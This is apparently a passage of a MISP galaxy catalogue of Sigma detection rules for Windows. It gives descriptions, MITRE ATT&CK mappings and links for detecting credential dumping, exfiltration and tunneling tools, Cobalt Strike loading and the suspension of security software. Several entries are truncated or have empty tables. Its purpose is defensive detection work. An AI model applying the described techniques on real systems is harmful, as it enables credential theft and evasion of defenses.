The tag is: misp-galaxy:sigma-rules="New DLL Registered Via Odbcconf.EXE"

View relationships graph

New DLL Registered Via Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 9423. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/">https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/raspberry-robin/">https://redcanary.com/blog/raspberry-robin/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_register_dll_regsvr.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_register_dll_regsvr.yml</a></td>
</tr>
</tbody>
</table>

Webshell Hacking Activity Patterns

Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system

The tag is: misp-galaxy:sigma-rules="Webshell Hacking Activity Patterns"

View relationships graph

Webshell Hacking Activity Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 9424. Table References

Table 9424. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
PowerShell Execution With Potential Decryption Capabilities

Detects PowerShell commands that decrypt an "LNK" file to drop the next stage of the malware.

The tag is: misp-galaxy: sigma-rules="PowerShell Execution With Potential Decryption Capabilities"

Table 9425. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_decrypt_pattern.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_decrypt_pattern.yml</a></td>
</tr>
</tbody>
</table>

New Generic Credentials Added Via Cmdkey.EXE

Detects usage of cmdkey to add generic credentials. As an example, this has to be used before connecting to an RDP session via command line interface.

The tag is: misp-galaxy: sigma-rules="New Generic Credentials Added Via Cmdkey.EXE"

View relationships graph

New Generic Credentials Added Via Cmdkey.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

Table 9426. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001-remote-desktop-protocol">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001-remote-desktop-protocol</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_adding_generic_creds.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdkey_adding_generic_creds.yml</a></td>
</tr>
</tbody>
</table>

Add SafeBoot Keys Via Reg Utility

Detects execution of "reg.exe" commands with the "add" or "copy" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not
Add SafeBoot Keys Via Reg Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 9427. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/">https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/</a></td>
</tr>
</tbody>
</table>

Suspicious DLL Loaded via CertOC.EXE

Detects when a user installs certificates by using CertOC.exe to load the target DLL file.

The tag is: misp-galaxy: sigma-rules="Suspicious DLL Loaded via CertOC.EXE"

Table 9428. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4ae95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68af4e09194ef2">https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4ae95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68af4e09194ef2</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Certoc/">https://lolbas-project.github.io/lolbas/Binaries/Certoc/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/sblmsrsn/status/1445758411803480072?s=20">https://twitter.com/sblmsrsn/status/1445758411803480072?s=20</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll_susp_locations.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll_susp_locations.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Service DACL Modification Via Set-Service Cmdlet

Detects suspicious DACL modifications via the "Set-Service" cmdlet using the "SecurityDescriptorSddl" flag (Only available with PowerShell 7) that can be used to hide services or make them unstoppable.
The tag is: misp-galaxy:sigma-rules="Suspicious Service DACL Modification Via Set-Service Cmdlet"

View relationships graph

Suspicious Service DACL Modification Via Set-Service Cmdlet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 9429. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings">https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings</a></td>
</tr>
<tr>
<td><a href="https://www.sans.org/blog/red-team-tactics-hiding-windows-services/">https://www.sans.org/blog/red-team-tactics-hiding-windows-services/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_powershell_service_dacl_modification_set_service.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_powershell_service_dacl_modification_set_service.yml</a></td>
</tr>
</tbody>
</table>

CobaltStrike Load by Rundll32

Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.

The tag is: misp-galaxy:sigma-rules="CobaltStrike Load by Rundll32"

View relationships graph

CobaltStrike Load by Rundll32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 9430. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cobaltstrike.com/help-windows-executable">https://www.cobaltstrike.com/help-windows-executable</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/">https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/threat-detection-report/">https://redcanary.com/threat-detection-report/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_hktl_cobaltstrike_load_by_rundll32.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_hktl_cobaltstrike_load_by_rundll32.yml</a></td>
</tr>
</tbody>
</table>

Sysinternals PsSuspend Suspicious Execution

Detects suspicious execution of Sysinternals PsSuspend, where the utility is used to suspend critical processes such as AV or EDR to bypass defenses

The tag is: misp-galaxy:sigma-rules="Sysinternals PsSuspend Suspicious Execution"

View relationships graph
Sysinternals PsSuspend Suspicious Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 9431. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/pssuspend">https://docs.microsoft.com/en-us/sysinternals/downloads/pssuspend</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Ogtweet/status/1638069413717975046">https://twitter.com/Ogtweet/status/1638069413717975046</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_pssuspend_susp_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_pssuspend_susp_execution.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Execution of InstallUtil Without Log**

Uses the .NET InstallUtil.exe application in order to execute image without log

The tag is: misp-galaxy:sigma-rules="Suspicious Execution of InstallUtil Without Log"

<table>
<thead>
<tr>
<th>Table 9432. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml</a></td>
</tr>
</tbody>
</table>

**Potential Obfuscated Ordinal Call Via Rundll32**

Detects execution of "rundll32" with potential obfuscated ordinal calls

The tag is: misp-galaxy:sigma-rules="Potential Obfuscated Ordinal Call Via Rundll32"

<table>
<thead>
<tr>
<th>Table 9433. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td>Internal Research</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_obfuscated_ordinal_call.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_obfuscated_ordinal_call.yml</a></td>
</tr>
</tbody>
</table>

**Renamed AdFind Execution**

Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.

The tag is: misp-galaxy:sigma-rules="Renamed AdFind Execution"
Renamed AdFind Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

WhoAmI as Parameter

Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)

The tag is: misp-galaxy:sigma-rules="WhoAmI as Parameter"

WhoAmI as Parameter has relationships with:

**Exfiltration and Tunneling Tools Execution**

Execution of well known tools for data exfiltration and tunneling

The tag is: `misp-galaxy:sigma-rules="Exfiltration and Tunneling Tools Execution"`

View relationships graph

Exfiltration and Tunneling Tools Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041"` with `estimative-language:likelihood-probability="almost-certain"`

*Table 9436. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfiltration_and_tunneling_tools_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfiltration_and_tunneling_tools_execution.yml</a></td>
</tr>
</tbody>
</table>

**Unusual Parent Process For Cmd.EXE**

Detects suspicious parent process for cmd.exe

The tag is: `misp-galaxy:sigma-rules="Unusual Parent Process For Cmd.EXE"`

View relationships graph

Unusual Parent Process For Cmd.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with `estimative-language:likelihood-probability="almost-certain"

*Table 9437. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_unusual_parent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_unusual_parent.yml</a></td>
</tr>
</tbody>
</table>
Potential Meterpreter/CobaltStrike Activity

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting

The tag is: misp-galaxy:sigma-rules="Potential Meterpreter/CobaltStrike Activity"

Remote Access Tool - Anydesk Execution From Suspicious Folder

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: misp-galaxy:sigma-rules="Remote Access Tool - Anydesk Execution From Suspicious Folder"
Disabled Volume Snapshots

Detects commands that temporarily turn off Volume Snapshots

The tag is: misp-galaxy: sigma-rules="Disabled Volume Snapshots"

View relationships graph

Disabled Volume Snapshots has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Microsoft IIS Connection Strings Decryption

Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.

The tag is: misp-galaxy: sigma-rules="Microsoft IIS Connection Strings Decryption"

View relationships graph

Microsoft IIS Connection Strings Decryption has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Dumping Process via Sqldumper.exe

Detects process dump via legitimate sqldumper.exe binary

The tag is: `misp-galaxy:sigma-rules="Dumping Process via Sqldumper.exe"`

View relationships graph

Dumping Process via Sqldumper.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9442. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/countuponsec/status/910969424215232518">https://twitter.com/countuponsec/status/910969424215232518</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/countuponsec/status/910977826853068800">https://twitter.com/countuponsec/status/910977826853068800</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml</a></td>
</tr>
</tbody>
</table>

Regasm/Regsvcs Suspicious Execution

Detects suspicious execution of Regasm/Regsvcs utilities

The tag is: `misp-galaxy:sigma-rules="Regasm/Regsvcs Suspicious Execution"`

View relationships graph

Regasm/Regsvcs Suspicious Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009"` with estimative-language:likelihood-probability="almost-certain"

Table 9443. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regasm/">https://lolbas-project.github.io/lolbas/Binaries/Regasm/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/">https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/</a></td>
</tr>
<tr>
<td><a href="https://www.fortiguard.com/threat-signal-report/4718?s=09">https://www.fortiguard.com/threat-signal-report/4718?s=09</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regasm_suspicious_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regasm_suspicious_execution.yml</a></td>
</tr>
</tbody>
</table>

Use Icacls to Hide File to Everyone

Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious
files

The tag is: misp-galaxy:sigma-rules="Use Icacls to Hide File to Everyone"

View relationships graph

Use Icacls to Hide File to Everyone has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 9444. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/">https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml</a></td>
</tr>
</tbody>
</table>

**Obfuscated IP Via CLI**

Detects usage of an encoded/obfuscated version of an IP address (hex, octal, etc.) via command line

The tag is: misp-galaxy:sigma-rules="Obfuscated IP Via CLI"

Table 9445. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://h.43z.one/ipconverter/">https://h.43z.one/ipconverter/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Yasser_Elsnbary/status/1553804135354564608">https://twitter.com/Yasser_Elsnbary/status/1553804135354564608</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_obfuscated_ip_via_cli.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_obfuscated_ip_via_cli.yml</a></td>
</tr>
</tbody>
</table>

**Query Usage To Exfil Data**

Detects usage of "query.exe" a system binary to exfil information such as "sessions" and "processes" for later use

The tag is: misp-galaxy:sigma-rules="Query Usage To Exfil Data"

Table 9446. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/MichalKoczwara/status/1553634816016498688">https://twitter.com/MichalKoczwara/status/1553634816016498688</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_query_session_exfil.yml</a></td>
</tr>
</tbody>
</table>
**Wusa.EXE Extracting Cab Files From Suspicious Paths**

Detects usage of the "wusa.exe" (Windows Update Standalone Installer) utility to extract cab using the "/extract" argument from suspicious paths.

The tag is: `misp-galaxy:sigma-rules="Wusa.EXE Extracting Cab Files From Suspicious Paths"`

### Table 9447. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.echotrail.io/insights/search/wusa.exe/">https://www.echotrail.io/insights/search/wusa.exe/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wusa_cab_files_extraction_from_susp_paths.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_wusa_cab_files_extraction_from_susp_paths.yml</a></td>
</tr>
</tbody>
</table>

**SyncAppvPublishingServer Execute Arbitrary PowerShell Code**


The tag is: `misp-galaxy:sigma-rules="SyncAppvPublishingServer Execute Arbitrary PowerShell Code"`

### View relationships graph

SyncAppvPublishingServer Execute Arbitrary PowerShell Code has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

### Table 9448. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/">https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/</a></td>
</tr>
</tbody>
</table>

**Stop Windows Service Via Sc.EXE**

Detects the stopping of a Windows service.

The tag is: `misp-galaxy:sigma-rules="Stop Windows Service Via Sc.EXE"`

### View relationships graph
Stop Windows Service Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 9449. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_stop_service.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_stop_service.yml</a></td>
</tr>
</tbody>
</table>

Use of Wfc.exe

The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft’s recommended block rules.

The tag is: misp-galaxy:sigma-rules="Use of Wfc.exe"

View relationships graph

Use of Wfc.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 9450. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml</a></td>
</tr>
</tbody>
</table>

Suspicious SysAidServer Child

Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)

The tag is: misp-galaxy:sigma-rules="Suspicious SysAidServer Child"

View relationships graph

Suspicious SysAidServer Child has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
**Whoami.EXE Execution Anomaly**

Detects the execution of whoami.exe with suspicious parent processes.

The tag is: *misp-galaxy:sigma-rules=*"Whoami.EXE Execution Anomaly"

View relationships graph

Whoami.EXE Execution Anomaly has relationships with:


*Table 9452. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/">https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=DsJ9ByX84o4&amp;t=6s">https://www.youtube.com/watch?v=DsJ9ByX84o4&amp;t=6s</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_parent_anomaly.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_parent_anomaly.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - SharpChisel Execution**

Detects usage of the Sharp Chisel via the commandline arguments

The tag is: *misp-galaxy:sigma-rules=*"HackTool - SharpChisel Execution"

View relationships graph

HackTool - SharpChisel Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

*Table 9453. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/shantanu561993/SharpChisel">https://github.com/shantanu561993/SharpChisel</a></td>
</tr>
</tbody>
</table>
Suspicious Whoami.EXE Execution

Detects the execution of “whoami.exe” with the "/all" flag or with redirection options to export the results to a file for later use.

The tag is: `misp-galaxy:sigma-rules="Suspicious Whoami.EXE Execution"`

View relationships graph

Suspicious Whoami.EXE Execution has relationships with:


Table 9454. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/">https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=DsJ9ByX84o4&amp;t=6s">https://www.youtube.com/watch?v=DsJ9ByX84o4&amp;t=6s</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_susp_flags.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_susp_flags.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Suspicious GUP Usage

Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks.

The tag is: `misp-galaxy:sigma-rules="Suspicious GUP Usage"`

View relationships graph

Suspicious GUP Usage has relationships with:


Table 9455. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Potentially Suspicious Child Process Of DiskShadow.EXE

Detects potentially suspicious child processes of "Diskshadow.exe". This could be an attempt to bypass parent/child relationship detection or application whitelisting rules.

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of DiskShadow.EXE"

View relationships graph

Potentially Suspicious Child Process Of DiskShadow.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9456. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/">https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/</a></td>
</tr>
<tr>
<td><a href="https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration">https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4">https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware">https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_child_process_susp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_child_process_susp.yml</a></td>
</tr>
</tbody>
</table>

PUA - Ngrok Execution

Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available. Involved domains are bin.equinox.io for download and *.ngrok.io for connections.

The tag is: misp-galaxy:sigma-rules="PUA - Ngrok Execution"

View relationships graph

PUA - Ngrok Execution has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 9457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.softwaretestinghelp.com/how-to-use-ngrok/">https://www.softwaretestinghelp.com/how-to-use-ngrok/</a></td>
</tr>
<tr>
<td><a href="https://ngrok.com/docs">https://ngrok.com/docs</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/xorJosh/status/159864907802451969">https://twitter.com/xorJosh/status/159864907802451969</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/58d21840d915aaf4040cebf89522396124c82f325282f805d108527e1e2ccfa1/detection">https://www.virustotal.com/gui/file/58d21840d915aaf4040cebf89522396124c82f325282f805d108527e1e2ccfa1/detection</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html">https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ngrok.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ngrok.yml</a></td>
</tr>
</tbody>
</table>

Gpscript Execution

Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy

The tag is: misp-galaxy:sigma-rules="Gpscript Execution"

View relationships graph

Gpscript Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9458. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Gpscript/">https://lolbas-project.github.io/lolbas/Binaries/Gpscript/</a></td>
</tr>
<tr>
